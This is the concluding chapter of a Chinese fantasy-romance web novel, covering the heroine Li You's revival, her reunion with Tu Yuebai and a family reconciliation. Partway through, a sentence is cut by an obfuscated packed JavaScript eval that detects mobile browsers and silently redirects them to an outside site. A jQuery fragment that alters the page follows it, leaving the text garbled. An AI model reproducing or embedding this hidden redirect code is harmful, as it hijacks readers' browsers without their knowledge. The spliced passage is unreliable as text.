117. 大结局
作品:《恶妖前夫只想和我做恨》 黎攸意识海。
“没有人需要你拯救,每个人都有每个人生命的课题,那是他们自己选的,就该由他们自己去走。”
“所以放下一切,去过属于你自己的生活吧!”
四周是一片雾茫茫,黎攸就在这片大雾中,听到了落黛紫的话声。
须臾,雾气更浓了,四野一片寂静。
忽然,周遭响起了鹿冥玄的笛声。
她的身下好硬,什么东西硌得她后背一阵生疼。
这是哪里,这是什么时候?
哦,她想起来了,这好像是灭伤之战刚刚结束的时候。
在她和鹿冥玄的合力作用下,梧伤人终于安静了下来,她就这样躺在了冰冷的石地上,静静等待着死亡的到来。
她的眼皮逐渐沉重了起来,天空忽然飘起了雪花。
是了,就是那天,黎攸记得分外清楚,那天也下着这样的雪。
好暖和啊。
不是下雪了么,为何会暖?
这样想着,黎攸睁开了眼,目之所见的是一片白茫茫。
忽然,一缕日光拨开浓雾直射入内,照亮了四周。
山峰高耸入云,白雾缭绕,仙气飘飘。
黎攸抬手遮住了自己的左眼,目之所见的是一片漆黑。
对了,她那能辨七彩的右眼,瞎了……
一个带笑的声音在她身后响起:“这下呢?”
黎攸眨了眨眼,入目的是一片嫩绿,她能看到了!
转头,她又看到了那日梦中的绯衣女子,当时不知,现在她知道了,这人正是她的母亲,辰砂。
黎攸怔愣当场,心如擂鼓。
然而,辰砂却是几步上前,站在了黎攸面前,静静看着她。
半晌,黎攸慢慢抬起头,她嗫嚅着开口,没来由地问道:“娘,你这一生想做什么?”
言罢,黎攸又是狠狠一愣,很多事情她忽然一下就记不起来了,只记得对面的绯衣女子是自己的娘亲,而方才的那句,是嘴巴自己动着说出来的。
绯衣女子的眸光朝向望不到底的山崖下:“可能是游遍世界美景吧。”
黎攸的嘴巴又自己张开了:“可如果你没有去成呢?”
辰砂:“不会的,那是我毕生所愿。”
咬唇,黎攸不死心地追问:“可万一呢?”
绯裙女子扬唇一笑,露出了和小姑娘一模一样的半边梨涡,她摸着黎攸的头,道:“万一啊,那可能就是我身边有了更重要的事情吧。”
“我可能有了自己的小朋友。”
“她就是我的世界。”
辰砂张开双臂,将少女揽进了怀抱。
“但她也是她自己。”
一种从未有过的温暖舒适之感细细密密地在黎攸的心口蔓延,她不自觉地往母亲的肩头埋了埋,轻嗅着属于她的气息。
少顷,辰砂温柔的话声又响了起来:“我的孩子啊,不要歉疚也不要自责,你没有做错任何事。”
“把属于我们的经历、责任、痛苦……一切的一切交还给我们吧,你不用替我们去承担,去接受惩罚,这样你才能腾出怀抱去拥上属于你自己的人生。”
豆大的泪珠滚落,黎攸哭得不能自已:“可是,可是,娘,如果没有我,你……不会是那副模样。我的身体里还流着另一个那个人的血,你……就不恨我吗?”
“傻孩子,怎么会呢?”
“要恨的话,我也是去恨他了。”
“不过啊,至少有一点我很感激他——”
“我要谢谢他把你给了我啊。”
温暖的手掌落在黎攸的头上,辰砂继续道:“不用满足谁的期待,不需过分去苛责自己,在娘这里,你可以有自己的小性子,你可以笨拙不厉害,也不必讨好拯救任何你,你就是你,你可以不是神女,只做娘的小悠。”
“让鱼走上陆地本就是不对的,梧伤人这一生最错误的事情不是没有见识,而是见到了地表世界的广阔,产生了期望,但却没有自我改变的能力,这是一个无解的命题,这也不能怪你。所以,放下一切向前走吧,去追寻属于你自己的人生吧,每个人有属于他们自己的命运,你不该牺牲自己为他们承担。”
眼前的一切逐渐淡去,黎攸的眼前又陷入一片漆黑。
忽然,一阵话声又响在了她的耳边。
“阿攸,阿攸,别睡了,别睡了。”
黎攸一个激灵,醒了过来,她揉了揉太阳穴,脑袋一阵发胀。
她睁眼见到的又是一片满溢着浓雾的世界。
怎么回事,发生了什么?
这又是哪里?
她又呆呆地坐在这处纯白之中,看着一片虚无发愣。
忽然,一只紫粉的小蝶穿过层层白雾,翩然飞到了她的面前。
她试探性地抬了手,那只蝴蝶便乖乖停在了她的手上。
紧接着,那蝴蝶忽然暴涨数倍,翻折转换成了一幅画卷。
画卷在黎攸的面前徐徐铺展开来。
鹿冥玄所修术法之一,正是柏草霜梦寐以求的追魂术,她一直追踪着那些逝去的梧伤魂魄,找到了他们的投生之处。
苍茫一片的草原上,少年架着火堆烤肉,孩童在日光下尽情地跑跳玩闹,牛羊低头吃草,他们无一例外地全都沐浴在日光之下。
他们是一部分梧伤人的转世。
“世间之事不一定努力了就会有成果,但你已经尽力了,你看呐,我们的族人还是爱着你的,虽然他们有时被怨气冲昏了脑袋,但他们依旧还是很爱你,很感激你的。”
画轴中显现的,是昔日场景,那是梧伤地下城的洞口处,那里坐着一个一个异瞳的女孩。
是夜,小小的黎攸坐在了地表上,梧伤众人围着她七嘴八舌。
“没想到这样的漂亮小娃娃竟是神女。”
“你没有发现吗,她的两只眼睛深浅不一样。”
“好漂亮的双瞳。”
“你看,你看,她还不好意思了呢,真可爱……”
“谢谢神女给我们带的吃食。”
“多亏了神女姐姐,爷爷被独目虫寄生的伤处好了许多呢。”
“神女姐姐又给我们带来新的漂亮衣衫了呢!”
灭伤之战后,无数清醒过来的梧伤人看着仰躺在地的黎攸,眸中溢出了泪。
“她只是一个小娃娃,我们,我们怎么能……”
一帧帧,一幕幕,显示的都是梧伤众人和黎攸的过往曾经。
就在这时,一只紫粉小蝶又从画轴之中翩然飞出,它细细的爪上抓着一抹玄色。
在这抹玄色中,黎攸看到了无数族人,听到了他们的声音,那是另一部分还没有转生的梧伤中魂魄。
“我们这一代梧伤人看到了地表的景色,已经很是满足,我们不同地表人比,我们只跟自己作比!”
“我们才不管我们是什么,人也好,是鬼也好,能见太阳也好,不见也罢,识得七彩也行,不认也算,这些都不是什么大不了的事,这样的我们也依旧可以活得很好啊。”
“我们或许穷极一生都没有达到地表人的起点,那句话是怎么说的?修炼了一世也可能只是成为了阻挡孙悟空的十万天兵中的一员。哈哈哈,但没有关系,我们只要每天超越自己一点点就好。总有人爱我们的笨,我们的错,我们的不完美。我们的神女啊,你也一样。所以,莫要再苛责自己了。”
“那些不是我们的身体,即使再好,我们也不要。”
他们说的,是柏草霜用落黛紫的能力给一众梧伤人造出的身体。
忽然,一个声音拔得极高。
“即使我们梧伤人生而有缺陷,即使我们只是一群怕阳气的鬼,即使我们现在只是一群没有排到转生的魂魄,但我们也可创造奇迹,既然这怨气是由我们的绝望而生,那么我就以希望将它熄灭!像我们这样笨拙的人也可以很厉害啊!”
就在这时,紫粉蝴蝶身下的那抹玄色忽然暴涨数倍。
现实世界,旭晟山上空,缠绕在黎攸身周的无间怨气被这抹玄色层层吞噬,她的脸和身子彻底显露了出来。
无间怨气被梧伤人的神魂吞噬了,可那补灵环依旧如生生不息的妖物,自她的脖颈始,猩红藤蔓仍在寸寸向下生长。
红色绣袋的辰砂灵体攀上了黎攸的肩膀,它所触之地,藤蔓噼啪断裂,但她清理的速度远不及它生长的速度。
迎着翻天覆地的灵力风暴,一只紫粉的也蝴蝶翩然而来,落在了黎攸的衣襟之上。
很快,一只白猫也很快扑到了她的身上,用尖利的牙齿,一刻不停地撕咬着她肩上的猩红藤条。
鹿冥玄的声音又响彻在了她的耳边:“阿攸,快些醒来吧,有许多人都爱着你呢,特别是他啊。”
鹿冥玄声音甫一消失,黎攸的意识又落入了下一个世界。
这里正是梧伤地下城的地上,此处被大雪覆盖着,苍茫一片的雪地之上,一卷画轴躺在了冰冷的白雪之上。
忽然,那画轴剧烈震颤了几息,发出了刺目耀眼的赤光。
一蓝眸白衫的少年狠狠将自己甩了出来,他无措地坐在地上,蓝瞳之中布满了猩红的血丝。
须臾,他颤抖着双手拾起了那画轴,将它紧紧拥在了怀中。
而后,他便向着精灵村的方向一瘸一拐地走了去。
黎攸的尸身被鹿冥玄收了回去,但她却没有抓住她的魂魄,幸而此时是隆冬,鹿冥玄将她安置在了一处寒冷的洞中。
直至蓝眸少年像个厉鬼一般闯入,将她带走。
暗处,鹿冥玄默默看着,在看到荼月白将少女打横抱起后,她喃喃自语:“她就交给你了。”
后来,他上旭晟山夺复原棺,在妖鬼村的冰室内一次一次割开自己的手腕,将血喂养给了她的身体。
由于日夜都在那冰室里呆着,导致他染上了寒症,每到月圆之时便会发作,冷彻心扉,痛入骨髓。
这一帧帧,一幕幕,尽数在黎攸的眼前闪过。
“许许多多的人都在爱着你呢啊,阿攸,回来吧,快回来吧。”
*
旭晟山空场,柏草霜呆愣原地。
她控制着黎攸的补灵环,让她吸取所有旭晟山修士的灵力,自然也就与她共感,她很清楚地看到了落黛紫的回忆,以及转生梧伤人的情况,也听到了未转生者的表达。
她本想用落黛紫的能力,造出许许多多的地表人外壳,再将黎攸找到的所有梧伤人灵魂注入其中。
这样,便可实现她复活所有梧伤人的愿望。
可见了落黛紫的回忆她才知道,以落黛紫灵力再生的躯体最多竟只能维持两年。
同时,一部分的梧伤人都转了生,他们可以沐浴太阳,他们肆意而又快活。
另一部分未转生者也并不急恼,他们安静地享受着现在。
原来,大家都放下了,大家都放下了,这些年放不下的,守着偏执的,只有柏草霜她自己。
柏草霜在一瞬脱了力,她不受控制地跌坐了下去。
她的眸光不自觉地看向缃娥,那个原本她养了十余年的小姑娘,此时正坐在装着落黛紫那副没皮躯体的水晶球前发愣。
她坚持了这么多年,努力了这么多年,却原来什么都没有,什么都没有得到,她就像一个彻头彻尾的笑话。
天上,在众人努力的呼唤下,黎攸猛然睁开了眼。
原本空无一物的眸子顿时注入了点点光亮,攀在她身上的补灵环的藤蔓却还在蔓延生长,她的身体仍在一刻不停地吸收着众同门的生命力和灵力。
那藤蔓已然生进了她的骨血,辰砂、鹿冥玄和荼月白的力量微乎其微,根本不能彻底根除它们。
要摆脱这些藤蔓救同门,那她的这幅躯体势必会崩坏,黎攸攥了攥拳,慢慢积蓄着爆破的灵力。
见她苏醒,一阵银白闪过,那落在她肩头满爪鲜血的小白猫登时化为了一个少年。
黎攸看着他,笑:“好久不见啊,荼月白。”
感受到了她体内乱窜的灵力,荼月白立刻便明白了她的想法。
一双蓝眸静看着她,神色有些复杂。
即使知道她还会回来,荼月白依旧会痛苦无措。
黎攸轻柔抬手抚上了蓝眸少年的脸:“没事的,没事的,我很快便会回来了,很快的。”
蓝眸溢满了泪水,荼月白点了点头,高大的身躯将她牢牢锁在了怀里。
“你就准备好一切,来接我就好了。”
黎攸抬手一拂,赤红画轴凌空而出,其上正是妖鬼村冰室的画。
现在的这具,并非黎攸自己的躯体,它是柏草霜使落黛紫的灵力再生的,再生后柏草霜又为她换了地表人的身,这才导致她并不惧怕太阳。
一阵赤光大作,黎攸身前的蓝眸少年不见了踪影。
黎攸看向柏草霜:“不是我的灵力,我不要,不是我的身体,我也不会使用!”
即使现在的身体不惧太阳,即使有补灵环就能拥有更多的灵力,即使她的身体中流着黎火熏的血液,但那就是她啊。
即使渺小,即使笨拙,但那也是她啊,是独一无二的她自己。
她不要成为任何人,她就是她,她爱自己的不完美。
黎攸体内的灵力积聚再积聚,忽然,一束赤光在天空爆裂开来,嵌入她骨血的藤条在一瞬间崩裂开来,她的皮肉骨头也在一瞬间炸裂开来。
然而,不过一息,一个蓝眸的雪衣少年便凭空而出,他怀中拥着的,是他以自己的鲜血温养了十余年的,黎攸那具真正的身体。
黎攸的灵魂俯冲而下,向着他怀中的身体飞去。
霎那间,少女猛然睁眼,她的一双异瞳比任何时候都要明亮。
她言笑晏晏,露出半边梨涡浅浅:“荼月白,好巧啊,又见面了。”
布满血丝的蓝眸登时注满了温柔,荼月白声音喑哑:“嗯,欢迎回来。”
这次,她是真的回来了。
黎攸从荼月白怀中脱出,抬眸便对上了鹿冥玄的眼睛,异瞳少女和赤眸少女两两相望,眼波流转间有无数说不清道不明的思绪。
鹿冥玄眼含泪珠上前,抬手间一只紫粉的辛夷花现。
那花飞到了黎攸的面前,鹿冥玄的声音有些哽咽:“我就知道,你一定会回来的。”
黎攸垂头一看,那辛夷花中竟是百余颗血阳珠,她的眸中满溢出惊讶。
灭伤之战后,是鹿冥玄一颗一颗从梧伤地下城捡回了它们。
因为那时的她总有一种预感,黎攸她会回来的,她定会用上这些的。
百余颗赤红的血阳珠飞到了旭晟山上空,每一颗都发出了盈盈闪着光,它们一整片地连在一起,将整个旭晟山映得通红发亮。
那是力量的红色,那是希望的红色,那是只属于黎攸的红色。
而与此同时。
绘鸢城绛姨染坊的白石池塘旁,妖鬼村的冰室内,红玫巨石下,枫渔的东方既白,枫渔的罔象洞中,旭晟山的破庙前,每一寸土地都发出了激烈的震颤……
一阵猛烈的地动山摇后,埋在每一寸土地的赤红血阳珠忽然爆裂而出,它们受到了一众血阳珠的召唤,正以裂风之势朝着旭晟山,黎攸的方向飞来。
霎那间,数百赤红的光球在黎攸的头顶汇聚成了一幅壮观的画卷,只一息,一股蓬勃之力便疯狂涌入了黎攸的身体之中。
你看呐,虽然她如此笨拙,虽然她身为一个混血的梧伤人曾经没有灵力,但她曾经的努力,她的坚持,她匍匐在地的缓慢爬行,她付出的每一滴鲜血,她辛苦修炼的一点一滴,终是有用的。
它们不停地累
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346070|152840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
积累积,最终达到了一个巅峰,以最强盛的,只属于她的灵力反哺予她。
或许,从前的她费劲了半生痛苦努力才到达了一些同门的起点,但那些都不会是无用功,她的坚持和努力从没有辜负她,它们带着她寻到了只属于她的能力,达到了只属于她的顶峰。
黎攸被充盈的赤红灵力环绕着,异色瞳闪闪发亮。
她拂手一挥,画轴竖立在了她的眼前,被破坏殆尽的旭晟山依照着画轴所绘,在她的灵力下开始寸寸修复。
夺目的赤光照耀在了一众修士的身上,生命力和灵力也一点一滴地回归他们的体内。
希望的力量席卷了整个大地,赤红的光亮寸寸推进,取代了一片破败混沌。
这边,缃娥不停地拍打着装着落黛紫身体的水晶球,哭得撕心裂肺。
因为方才黎攸的灵力,生命力也逐渐回归了落黛紫的身体。
“娘亲,娘亲啊,娘啊,娘!”
缃娥的灵力就是探取别人的记忆,所以她自然很轻易地便可知道曾经发生了什么。
瘫坐在地的柏草霜,听到这声音顿时心中一痛,她下意识地回了头,然而看到了缃娥的动作,半句“这儿呢”就卡在了喉咙之中。
缃娥的泪砸在了地上,却痛在了柏草霜的心里。
看着这一幕,听着缃娥的哭喊,柏草霜的心中像是被人很戳进了一把刀子,而后又不停地转动翻搅。
半晌,她忽然笑了起来。
罢了,罢了,大家都已走出了,走不出来的就只有她自己而已。
别哭了,别哭了,我的宝贝别哭了,成全你们吧。
一阵玄光闪过,水晶球炸裂开来,属于落黛紫的皮肉寸寸生长回了她的身上。
少顷,落黛紫睁开了眼。
缃娥一瞬飞扑到了落黛紫的怀中,她颤抖着手,不停唤着:“娘,娘。”
落黛紫虽被困在这水晶球中,但这些年,她依旧知道外面发生了什么,也可以说,她一直都在看着缃娥长大。
现在的落黛紫还很虚弱,但她还是慢慢抬起了手,轻拍缃娥的背以示安慰:“缃儿乖,别哭了,娘在,娘在。”
不起眼的角落中,柏草霜也换回了原来的身体,即使是成年人了,她的头依旧很大,一双赤红眸中满是死水般的悲凄。
她抬眸看了一眼落黛紫和缃娥相拥的画面,转头狼狈而去。
她的身后,传出了一声声喊叫。
“娘!”
别加了,别叫了,饶了我,饶了我吧!
柏草霜就像是阴沟里的老鼠,她不忍再窥探落黛紫和缃娥母女重逢的幸福,仓惶着脚步往前逃,她只恨自己没有再生出多一双腿,再多一双。
“娘亲!”
“娘!”
然而,令柏草霜没有想到的是,即使她飞速奔逃着,这一声娘亲竟还是距离她如此之近。
别叫了,别叫了,别叫了!
现在的她只想捅聋自己的耳朵。
“娘亲!”
为什么她逃到这么远的地方还是能听得到。
然而,柏草霜不经意的一个回头,便猛然间对上了一双晶亮的漆眸。
眸子的主人身着一袭绣缃色纹路的旭晟山白袍,腰间挂着的仍是那雪白的毛茸茸配饰。
柏草霜和落黛紫不一样,落黛紫喜玩蛇,柏草霜则喜欢一切动物的皮毛,在她还是“落黛紫”的时候,便为自己的“女儿”做了不少毛茸茸的物什。
本以为缃娥在知道真相后定会将它取下,没想到她竟还是带着。
哦,她应当是忘了,待到缃娥反应过来,那玩意儿定会叫她丢了去。
就在这时,尖尖的嗓音又喊了一声:“娘亲!”
柏草霜愣愣看着面前的小姑娘,这里确实只有她。
她……在唤谁?唤……她?
柏草霜呆呆看着就要落下泪来的小姑娘半晌,末了,她狠心撇过了头去,继续逃离。
“你认错人了!”
缃娥就这么站在了原地,泪水登时砸了下来:“娘亲!你不准备要我了吗!?”
“是谁说要给我过生辰结果却把我丢出来了的,是谁说要给我准备满满一屋子毛茸茸的,是谁说最爱我永远不离开我的,骗子,骗子,骗子,骗子,娘亲你个大骗子!!!”
柏草霜仍然狠着心:“我不是你娘,我不是!”
“缃娥说你是,你就是,娘亲不要缃娥了吗,真的不要了吗!?”
这一刻,柏草霜的脚像是灌了铅一般,再也挪不动一步。
落黛紫不知何时来到了她们的身后,弯着苍白的唇看着这一幕,而后柔声笑道:“虽然我还不知道你的名字,但谢谢你。”
谢谢你代替我养育照顾了我的女儿,谢谢你这些年帮我管理了旭晟山。
虽然我知道,你是带着目的在做的,但凡事论迹不论心,我还是要谢谢你。
柏草霜定定地盯着落黛紫和缃娥母女俩,她鼻子一酸,跪坐了下来:“对不起,对不起,对不起,对不起,对不起,真的对不起。”
落黛紫俯身将其拂了起来:“该说对不起的是我,若我早些……”
缃娥一左一右地揽住了落黛紫和柏草霜:“柏娘亲,落娘亲,不说这个了,不说这个了好么。”
是啊,那场事件中,她们都没有错。
既没有错,就不该再自责。
鹿冥玄不知何时也走了过来,对着柏草霜笑道:“放心吧,你的孩子,她很好。”
方才她追到了柏草霜孩子的神魂,在给黎攸所看的那幕阳光草原中,就有柏草霜孩子的转世。
柏草霜狠狠一怔,随即又落下泪来。
“柏娘亲。”
缃娥左手拉柏草霜。
“落娘亲。”
缃娥右手拉落黛紫。
缃娥抬手,抹干了眼泪,而后扬着一张傻呵呵的小脸,笑道:“缃娥是天下最幸福的孩子,因为啊,我有两个娘亲。”
“这下缃娥也该有姓了吧,是叫柏缃娥呢,还是落缃娥呢,还是落柏缃娥,亦或是柏落缃娥?”
“诶,娘亲们帮我想想,可好?”
黎攸一早便站在了她们的身后,就这么默默看着这幸福的一幕,她认真思考了半晌:“要不,叫辰缃娥吧,或者黎缃娥?”
缃娥翻了个白眼:“去你的,我才不要!”
……
立春,枫渔镇,东方既白小院。
大开的窗子前,看着外面美景,黎攸提笔作画。
阳光撒入,落在了黎攸的下巴上,她一时没有注意。
一道颀长的身影兜头罩下,黎攸的头上多了一顶斗笠。
抬头,她对上了一双满带嗔怪的眼睛。
黎攸撇嘴:“带这个,不知道的人家还以为我在种田。”
荼月白凑身上来,看着黎攸的画,蹙了眉:“为什么我还是猫身?”
黎攸用笔戳了戳他的胸口:“人身很难画的好么,这位荼公子。”
须臾,她脑袋一转,嘻嘻道:“既然你这么想的话,那我换一种方式好了,换一张画纸。”
言罢,她起身踮脚,在荼月白的脖颈上落下了一颗鲜红的草莓。
黎攸携了满目得意:“怎么样,画得不错吧。”
蓝眸一瞬添上了旖旎,喉结滚动:“我能画得更好,你信么?”
言罢,他长手一抬,将少女单手托起,另一只手开门而出,直奔卧房,只留一幅未完成的画卷摆在原地。
寒冬已去,立春已至。
逐渐暖和的天气,发芽的树木和变绿的草地,都没有让荼月白感觉到春天来了。
但是只要站在她旁边,看着她满脸的笑意,荼月白就真的感觉到——
春天来了。
(全文完)